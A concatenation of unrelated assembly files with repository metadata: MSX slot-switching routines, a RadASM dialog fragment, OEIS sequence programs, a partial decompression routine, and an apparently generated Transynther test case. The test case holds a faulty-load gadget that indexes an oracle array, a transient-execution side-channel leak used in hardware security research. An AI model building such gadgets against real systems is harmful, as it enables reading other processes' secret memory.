GetDlgItem,hWin,IDC_GRDRES mov hGrd,eax mov rect.left,3 mov rect.top,3 sub rect.right,3+64+6 sub rect.bottom,6 invoke MoveWindow,hGrd,rect.left,rect.top,rect.right,rect.bottom,TRUE .else mov eax,FALSE ret .endif mov eax,TRUE Ex: ret Enable: ;Type mov ecx,[esi].GRIDNOTIFY.row shl ecx,16 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer mov eax,dword ptr buffer .if !eax || eax==1 || eax==2 || eax==3 || eax==8 invoke GetDlgItem,hWin,IDC_BTNRESPREVIEW invoke EnableWindow,eax,TRUE .else invoke GetDlgItem,hWin,IDC_BTNRESPREVIEW invoke EnableWindow,eax,FALSE .endif mov eax,dword ptr buffer mov ecx,sizeof RARSTYPE mul ecx add eax,offset rarstype .if byte ptr [eax].RARSTYPE.szedit invoke GetDlgItem,hWin,IDC_BTNRESEDIT invoke EnableWindow,eax,TRUE .else invoke GetDlgItem,hWin,IDC_BTNRESEDIT invoke EnableWindow,eax,FALSE .endif retn ResourceEditProc endp
25.434135
101
0.696496
d78d9a186aef7fbb4723cb3f09a33f6d3f0614fa
4,237
asm
Assembly
asm/rominit64.asm
artrag/voicenc_scc
da1f60fed9a8357a6fb1f905fd7dd15036645656
[ "BSD-2-Clause" ]
4
2021-02-12T19:22:31.000Z
2021-12-23T22:48:14.000Z
asm/rominit64.asm
artrag/voicenc_scc
da1f60fed9a8357a6fb1f905fd7dd15036645656
[ "BSD-2-Clause" ]
null
null
null
asm/rominit64.asm
artrag/voicenc_scc
da1f60fed9a8357a6fb1f905fd7dd15036645656
[ "BSD-2-Clause" ]
null
null
null
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; set pages and subslot ; ENASLT: equ 024h RSLREG: equ 0138h EXPTBL: equ 0FCC1h ; Bios Slot / Expansion Slot ; ---------------------------- ; pre-set main slot for page 3 ; and set sub-slot for page 3 ; ---------------------------- macro mainslot_setup n and 3 [2] rrca and 0xC0 ld c,a ld a,d and 0x3F or c ld c,a ; Primary slot value with main slot in page 3 ld a,b and 0x0C [2] rrca and 3 ld b,a ; B = Expanded slot in page 3 ld a,c out (0A8h),a ; Slot : Main Slot, xx, xx, Main slot ld a,(0FFFFh) cpl if (n<=4) [n] RLCA else [8-n] RRCA endif and 0xFC or b if (n<=4) [n] RRCA else [8-n] RLCA endif ld (0FFFFh),a ; Expanded slot selected ld b,a ; save for later endmacro ; ------------------------------ ; SEARCH_SLOT ; look for the slot of our rom ; active in page 1 ; ------------------------------ search_slot: call RSLREG [2] rrca and 3 ld c,a ld b,0 ld hl,EXPTBL add hl,bc ld a,(hl) and 080h or c ld c,a [4] inc hl ld a,(hl) and 0Ch or c ld (slotvar),a ret ; ------------------------------ ; look for the slot of ram ; active in page 3 ; ------------------------------ search_slotram: di call RSLREG [2] rlca and 3 ld c,a ld b,0 ld hl,EXPTBL add hl,bc ld a,(hl) and 080h jr z,search_slotram0 or c ld c,a [4] inc hl ld a,(hl) [4] rlca and 0Ch search_slotram0: or c ld (slotram),a ret ; ------------------------------ ; SETROMPAGE0 ; Set the chart in ; Page 0 ; ----------------------------- setrompage0: ld a,(slotvar) jp setslotpage0 setrampage0: ld a,(slotram) jp setslotpage0 setrompage2: ld a,(slotvar) jp setslotpage2 setrampage2: ld a,(slotram) jp setslotpage2 setrompage3: ld a,(slotvar) jp setslotpage3 setrampage3: ld a,(slotram) jp setslotpage3 ; ------------------------------ ; RECBIOS ; set the bios ROM ; ------------------------------- recbios: ld a,(EXPTBL) ; --------------------------- ; SETSLOTPAGE0 ; Set the slot passed in A ; at page 0 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage0: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 0 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret ; --------------------------- ; SETSLOTPAGE1 ; Set the slot passed in A ; at page 1 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage1: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) [2] RRCA and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d [2] RLCA ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 6 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret ; --------------------------- ; SETSLOTPAGE2 ; Set the slot passed in A ; at page 2 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage2: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) [4] RLCA and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d [4] RRCA ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 4 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret ; --------------------------- ; SETSLOTPAGE3 ; Set the slot passed in A ; at page 3 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage3: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) [2] RLCA and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d [2] RRCA ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 2 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret
17.016064
70
0.531508
ce8aef444276cdbaa0aeef07868eb4ea49af740f
2,368
asm
Assembly
programs/oeis/239/A239352.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/239/A239352.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/239/A239352.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A239352: van Heijst's upper bound on the number of squares inscribed by a real algebraic curve in R^2 of degree n, if the number is finite. ; 0,0,1,12,48,130,285,546,952,1548,2385,3520,5016,6942,9373,12390,16080,20536,25857,32148,39520,48090,57981,69322,82248,96900,113425,131976,152712,175798,201405,229710,260896,295152,332673,373660,418320,466866,519517,576498,638040,704380,775761,852432,934648,1022670,1116765,1217206,1324272,1438248,1559425,1688100,1824576,1969162,2122173,2283930,2454760,2634996,2824977,3025048,3235560,3456870,3689341,3933342,4189248,4457440,4738305,5032236,5339632,5660898,5996445,6346690,6712056,7092972,7489873,7903200,8333400,8780926,9246237,9729798,10232080,10753560,11294721,11856052,12438048,13041210,13666045,14313066,14982792,15675748,16392465,17133480,17899336,18690582,19507773,20351470,21222240,22120656,23047297,24002748,24987600,26002450,27047901,28124562,29233048,30373980,31547985,32755696,33997752,35274798,36587485,37936470,39322416,40745992,42207873,43708740,45249280,46830186,48452157,50115898,51822120,53571540,55364881,57202872,59086248,61015750,62992125,65016126,67088512,69210048,71381505,73603660,75877296,78203202,80582173,83015010,85502520,88045516,90644817,93301248,96015640,98788830,101621661,104514982,107469648,110486520,113566465,116710356,119919072,123193498,126534525,129943050,133419976,136966212,140582673,144270280,148029960,151862646,155769277,159750798,163808160,167942320,172154241,176444892,180815248,185266290,189799005,194414386,199113432,203897148,208766545,213722640,218766456,223899022,229121373,234434550,239839600,245337576,250929537,256616548,262399680,268280010,274258621,280336602,286515048,292795060,299177745,305664216,312255592,318952998,325757565,332670430,339692736,346825632,354070273,361427820,368899440,376486306,384189597,392010498,399950200,408009900,416190801,424494112,432921048,441472830,450150685,458955846,467889552,476953048,486147585,495474420,504934816,514530042,524261373,534130090,544137480,554284836,564573457,575004648,585579720,596299990,607166781,618181422,629345248,640659600,652125825,663745276,675519312,687449298,699536605,711782610,724188696,736756252,749486673,762381360,775441720,788669166,802065117,815630998,829368240,843278280,857362561,871622532,886059648,900675370,915471165,930448506,945608872,960953748 mov $1,$0 bin $0,2 add $1,$0 sub $1,2 mul $1,$0
263.111111
2,176
0.86951
30a27c7d5445a5352670f3068881f0f0b439f70f
378
asm
Assembly
programs/oeis/109/A109265.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/109/A109265.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/109/A109265.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A109265: Row sums of Riordan array (1-x-x^2,x(1-x)). ; 1,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2,0,2,2,0,-2,-2 mov $1,1 mov $2,2 lpb $0 sub $0,1 add $3,$2 sub $2,$3 mov $1,$2 lpe mov $0,$1
29.076923
235
0.468254
f426a1d80cb07182b16719c7d5894f75f6fa2374
6,993
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1514.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1514.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1514.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x4ba0, %rax mfence movb $0x61, (%rax) nop nop nop add %r9, %r9 lea addresses_D_ht+0x1bcc3, %rsi lea addresses_WC_ht+0xecba, %rdi nop nop nop nop nop and %r11, %r11 mov $38, %rcx rep movsw xor %r12, %r12 lea addresses_D_ht+0x10820, %r12 nop nop nop sub $4902, %r9 movw $0x6162, (%r12) nop nop nop nop nop and $11296, %r9 lea addresses_WT_ht+0x7e68, %rsi lea addresses_normal_ht+0x1eaab, %rdi nop xor $62856, %r12 mov $75, %rcx rep movsq cmp $25558, %rdi lea addresses_UC_ht+0x1a460, %r14 nop nop nop nop xor %rdi, %rdi mov (%r14), %r9 nop and $51873, %rax lea addresses_normal_ht+0x14f60, %r9 nop nop nop nop add $56824, %rax movl $0x61626364, (%r9) nop nop nop xor %rsi, %rsi lea addresses_A_ht+0x17ac0, %r14 nop nop nop cmp %rsi, %rsi mov (%r14), %edi nop nop add $51990, %r9 lea addresses_A_ht+0x1624c, %r12 nop sub $26881, %rsi mov $0x6162636465666768, %rax movq %rax, (%r12) nop sub %rcx, %rcx lea addresses_D_ht+0xd9e0, %rax nop nop nop nop nop dec %rdi vmovups (%rax), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r9 nop add $14654, %rdi lea addresses_A_ht+0x4156, %rsi lea addresses_normal_ht+0xff60, %rdi nop nop xor %r12, %r12 mov $94, %rcx rep movsq nop nop nop nop add %rdi, %rdi lea addresses_normal_ht+0x8c90, %rsi lea addresses_UC_ht+0x179aa, %rdi nop nop nop nop xor %r14, %r14 mov $118, %rcx rep movsw nop xor %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %rbp push %rbx push %rdi // Store mov $0x500, %rdi nop mfence mov $0x5152535455565758, %r10 movq %r10, (%rdi) and %r11, %r11 // Faulty Load lea addresses_WT+0x15760, %r13 nop nop add $21152, %rbx vmovups (%r13), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbp lea oracles, %r8 and $0xff, %rbp shlq $12, %rbp mov (%r8,%rbp,1), %rbp pop %rdi pop %rbx pop %rbp pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
36.805263
2,999
0.657658
9c865c04124aec9cdc78490eeef1e61da607f322
672
asm
Assembly
main/loader.asm
jreichman/kernel
8ef1c08b7f5be30a67747ac3f0fdae45d4c04858
[ "MIT" ]
null
null
null
main/loader.asm
jreichman/kernel
8ef1c08b7f5be30a67747ac3f0fdae45d4c04858
[ "MIT" ]
null
null
null
main/loader.asm
jreichman/kernel
8ef1c08b7f5be30a67747ac3f0fdae45d4c04858
[ "MIT" ]
null
null
null
[BITS 32] %define HEADER_MAGIC 0x1BADB002 %define LOADER_MAGIC 0x2BADB002 %define FLAGS 0x00000007 %define STACKLEN 0x00004000 %define EFLAGSMASK 0xFFC0802A global _start extern kmain extern halt extern _gdt_init extern _idt_init section .text begin: jmp _start align 4 multiboot: dd HEADER_MAGIC ; magic dd FLAGS ; flags dd -(HEADER_MAGIC + FLAGS) ; checksum _start: mov esp, stack + STACKLEN cmp eax, LOADER_MAGIC je _start_1 jmp fail _start_1: pushfd pop eax and eax, EFLAGSMASK push eax popfd call _gdt_init call _idt_init push ebx call kmain add esp, 4 fail: call halt jmp fail section .data stack: times STACKLEN db 0
11.789474
38
0.747024
050a98c50901039c1ae384eb7902b5c254c99759
429
asm
Assembly
programs/oeis/187/A187949.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/187/A187949.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/187/A187949.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A187949: Positions of 0 in A187948; complement of A187953. ; 2,5,10,13,15,18,23,26,31,34,36,39,44,47,49,52,57,60,65,68,70,73,78,81,86,89,91,94,99,102,104,107,112,115,120,123,125,128,133,136,138,141,146,149,154,157,159,162,167,170,175,178,180,183,188,191,193,196,201,204,209,212,214,217 seq $0,307295 ; If n is even, a(n) = A001950(n/2+1), otherwise a(n) = A001950((n-1)/2+1) + 1. seq $0,3259 ; Complement of A003258. sub $0,4
61.285714
226
0.685315
287cf1262aef0796f01505cf62268e50dc899faa
294
asm
Assembly
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/posix_memalign_unlocked_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/posix_memalign_unlocked_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/posix_memalign_unlocked_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int posix_memalign_unlocked(void **memptr, size_t alignment, size_t size) SECTION code_alloc_malloc PUBLIC posix_memalign_unlocked_callee posix_memalign_unlocked_callee: pop af pop hl pop bc pop de push af INCLUDE "alloc/malloc/z80/asm_posix_memalign_unlocked.asm"
17.294118
75
0.77551
6703eb45916c8ba9936b65531899659f53b25796
162
asm
Assembly
code.asm
dongshunyao/Mips-VerilogHDL
9b09e561d1faacf772fa24d7eadfbe6e7b4af8cb
[ "Apache-2.0" ]
2
2019-04-23T01:20:54.000Z
2019-11-02T07:26:42.000Z
code.asm
dongshunyao/Mips-VerilogHDL
9b09e561d1faacf772fa24d7eadfbe6e7b4af8cb
[ "Apache-2.0" ]
null
null
null
code.asm
dongshunyao/Mips-VerilogHDL
9b09e561d1faacf772fa24d7eadfbe6e7b4af8cb
[ "Apache-2.0" ]
1
2019-10-22T11:34:31.000Z
2019-10-22T11:34:31.000Z
ori $t1,$0,2 ori $t2,$0,1 addu $t3,$t1,$t2 ori $t4,$0,5 subu $t5,$t4,$t1 beq $t1,$t2,q sw $t1,4($0) j w q: lui $t3,10 w: lw $t6,4($0) beq $t5,$t3,q addu $0,$0,$t1
13.5
16
0.54321
09c92572dfa4d4676f7817b69054e91311a4ae3c
176
asm
Assembly
libsrc/fcntl/spectrum/microdrive/writebyte.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/fcntl/spectrum/microdrive/writebyte.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/spectrum/microdrive/writebyte.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; ; Placeholder for writebyte ; ; Stefano - 2/3/2005 ; ; $Id: writebyte.asm,v 1.1 2005/03/02 17:29:33 stefano Exp $ XLIB writebyte .writebyte ld hl,-1 ld d,h ld e,l ret
11.733333
60
0.653409
f20102bfa84f7822b56dd72c2d1f18de24ed71c1
556
asm
Assembly
oeis/016/A016908.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/016/A016908.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/016/A016908.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A016908: a(n) = (5*n + 4)^12. ; 16777216,282429536481,56693912375296,2213314919066161,36520347436056576,353814783205469041,2386420683693101056,12381557655576425121,52654090776777588736,191581231380566414401,614787626176508399616,1779197418239532716881,4722366482869645213696,11646329922777311412561,26963771415920784510976,59091511031674153381441,123410307017276135571456,246990403565262140303521,475920314814253376475136,886384871716129280658801,1601032218567680790102016,2812664781782894485727281,4817904819828488880132096 mul $0,5 add $0,4 pow $0,12
79.428571
494
0.899281
47e19a1c18da36c4c4e07567072fc5a2e519421c
15,576
asm
Assembly
coms/basic/decodePackW.asm
yunxu1019/efront
b30398485e702785ae7360190e50fe329addcfb3
[ "MIT" ]
1
2019-04-26T02:56:54.000Z
2019-04-26T02:56:54.000Z
coms/basic/decodePackW.asm
yunxu1019/efront
b30398485e702785ae7360190e50fe329addcfb3
[ "MIT" ]
3
2019-06-10T02:59:29.000Z
2021-06-06T01:09:58.000Z
coms/basic/decodePackW.asm
yunxu1019/efront
b30398485e702785ae7360190e50fe329addcfb3
[ "MIT" ]
1
2020-08-16T03:19:29.000Z
2020-08-16T03:19:29.000Z
.data errortext db "数据异常" errortitle db "错误" normal_huffman equ 0 normal_repeat1 equ 1 normal_repeat2 equ 2 normal_nocode1 equ 3 normal_nocode2 equ 4 normal_nocode3 equ 5 repeat_huffman equ 6 .code fill proc start,leng,a mov eax,90003h mov ecx,start mov edx,leng shr edx,2 add edx,ecx mov eax,a .while ecx<edx mov DWORD ptr [ecx],eax add ecx,4 .endw ret fill endp decodeFlat proc buff,start,rest local tcount,total,t,bitoffset,inc1,counts[516] local v,k,n,inc2 mov eax,90002h invoke fill,addr counts,sizeof counts,0 mov total,0 mov ebx,buff mov ecx,start mov eax,0 mov al,BYTE ptr[ebx+ecx] mov tcount,eax inc ecx mov al,BYTE ptr[ebx+ecx] and eax,01fh mov t,eax add ecx,1 mov eax,ecx shl eax,3 mov bitoffset,eax mov inc1,0 mov ecx,tcount .while ecx>0 dec ecx mov eax,bitoffset mov inc1,ecx invoke readBinary,buff,bitoffset,t mov v,eax mov ebx,total add ebx,eax mov total,ebx mov ebx,bitoffset add ebx,t mov bitoffset,ebx invoke readBinary,buff,ebx,t mov k,eax mov ebx,bitoffset add ebx,t mov bitoffset,ebx mov eax,k mov ebx,inc1 shl ebx,3 mov counts[ebx],eax mov eax,v mov counts[ebx+4],eax mov ecx,inc1 .endw mov eax,total mov inc2,eax mov ecx,tcount shl ecx,1 mov edx,sizeof counts shr edx,2 .while ecx<edx mov counts[ecx*4],0 inc ecx .endw .while tcount>0 mov ecx,tcount shl ecx,1 sub ecx,2 mov eax,counts[ecx*4] mov t,eax mov eax,buff mov eax,bitoffset mov eax,t invoke readBinary,buff,bitoffset,t mov n,eax mov ebx,total dec ebx mov total,ebx mov eax,t shl eax,24 mov ebx,n or eax,ebx mov ebx,total shl ebx,2 add ebx,rest mov DWORD ptr[ebx],eax mov ebx,bitoffset add ebx,t mov bitoffset,ebx mov ecx,tcount shl ecx,1 dec ecx mov eax,counts[ecx*4] dec eax mov counts[ecx*4],eax .if eax==0 mov ecx,tcount dec ecx mov tcount,ecx .endif .endw mov eax,bitoffset mov ebx,inc2 ret decodeFlat endp findhuff proc hufstart,mapsize,sum ; local hufend ; mov ebx,hufstart ; mov eax,mapsize ; shl eax,2 ; add eax,ebx ; mov hufend,eax ; mov ebx,sum ; mov eax,0 ; mov ecx,hufstart ; mov edx,0 ; .while ecx<hufend ; mov eax,DWORD ptr[ecx] ; .if eax==ebx ; mov eax,ecx ; sub eax,hufstart ; shr eax,2 ; mov edx,1 ; .break ; .endif ; add ecx,4 ; .endw ; ret mov eax,90005h mov ecx,0 mov eax,sum mov edx,mapsize mov ebx,hufstart .while ecx<edx mov eax,ecx add eax,edx shr eax,1 push eax mov eax,DWORD ptr[eax*4+ebx] .if eax<sum pop ecx inc ecx .else pop edx .endif .endw mov eax,DWORD ptr[ecx*4+ebx] .if eax==sum mov eax,ecx mov edx,1 .else mov eax,DWORD ptr[edx*4+ebx] .if eax==sum mov eax,edx mov edx,1 .else mov edx,0 .endif .endif ret findhuff endp sorthuff proc hufstart,mapstart,huflen local min,mi,n mov eax,90004h mov ecx,0 mov edx,huflen dec edx shl edx,2 .while ecx<edx mov ebx,hufstart mov mi,ecx mov eax,DWORD ptr[ecx+ebx] mov min,eax mov n,ecx add ecx,4 .while ecx<edx mov eax,DWORD ptr[ecx+ebx] .if eax<min mov mi,ecx mov min,eax .endif add ecx,4 .endw mov ecx,n .if ecx!=mi mov eax,DWORD ptr[ebx+ecx] mov ecx,mi mov DWORD ptr[ebx+ecx],eax mov eax,min mov ecx,n mov DWORD ptr[ebx+ecx],eax mov ebx,mapstart mov ecx,mi mov eax,DWORD ptr[ebx+ecx] mov min,eax 